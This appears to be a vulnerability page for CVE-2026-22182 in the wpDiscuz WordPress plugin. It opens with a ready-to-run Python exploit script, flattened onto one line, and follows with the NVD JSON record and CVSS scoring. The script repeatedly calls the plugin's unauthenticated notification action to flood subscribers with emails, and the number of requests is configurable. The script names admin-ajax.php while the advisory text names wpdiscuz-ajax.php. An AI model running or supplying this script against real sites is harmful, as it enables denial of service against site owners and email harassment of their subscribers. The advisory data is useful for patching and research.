CVE-2026-22182

import requests import time # CVE-2026-22182 PoC - Unauthenticated Email Notification Flood # Target: WordPress site with wpDiscuz < 7.6.47 TARGET_URL = "http://target-wordpress-site.com" AJAX_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" def exploit_cve_2026_22182(post_id, comment_id, count=100): """ Exploit the unauthenticated email notification flood vulnerability Args: post_id: Target WordPress post ID comment_id: Target comment ID (can be arbitrary) count: Number of requests to send """ headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Payload for checkNotificationType action data = { "action": "wpdiscuzcheckNotificationType", "postId": str(post_id), "comment_id": str(comment_id) } print(f"[*] Starting email flood attack on {TARGET_URL}") print(f"[*] Target post ID: {post_id}, comment ID: {comment_id}") print(f"[*] Sending {count} requests...") for i in range(count): try: response = requests.post(AJAX_ENDPOINT, data=data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request {i+1}/{count} sent successfully") else: print(f"[-] Request {i+1}/{count} failed with status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request {i+1}/{count} error: {e}") time.sleep(0.1) # Small delay to avoid immediate blocking print("[*] Attack completed") if __name__ == "__main__": # Example usage exploit_cve_2026_22182(post_id=1, comment_id=999, count=100)

{"cve": {"id": "CVE-2026-22182", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:07.480", "lastModified": "2026-03-17T20:23:18.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "wpDiscuz before 7.6.47 contains an unauthenticated denial of service vulnerability that allows anonymous users to trigger mass notification emails by exploiting the checkNotificationType() function. Attackers can repeatedly call the wpdiscuz-ajax.php endpoint with arbitrary postId and comment_id parameters to flood subscribers with notifications, as the handler lacks nonce verification, authentication checks, and rate limiting."}, {"lang": "es", "value": "wpDiscuz anterior a la versión 7.6.47 contiene una vulnerabilidad de denegación de servicio no autenticada que permite a usuarios anónimos activar correos electrónicos de notificación masiva explotando la función checkNotificationType(). Los atacantes pueden llamar repetidamente al endpoint wpdiscuz-ajax.php con parámetros postId y comment_id arbitrarios para inundar a los suscriptores con notificaciones, ya que el gestor carece de verificación de nonce, comprobaciones de autenticación y limitación de velocidad."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gvectors:wpdiscuz:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "7.6.47", "matchCriteriaId": "A81F51B9-0C21-4F7E-876B-C09A66B9AE05"}]}]}], "references": [{"url": "https://wordpress.org/plugins/wpdiscuz/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://wordpress.org/plugins/wpdiscuz/#developers", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/wpdiscuz-before-unauthenticated-email-notification-flood-via-wpdchecknotificationtype", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}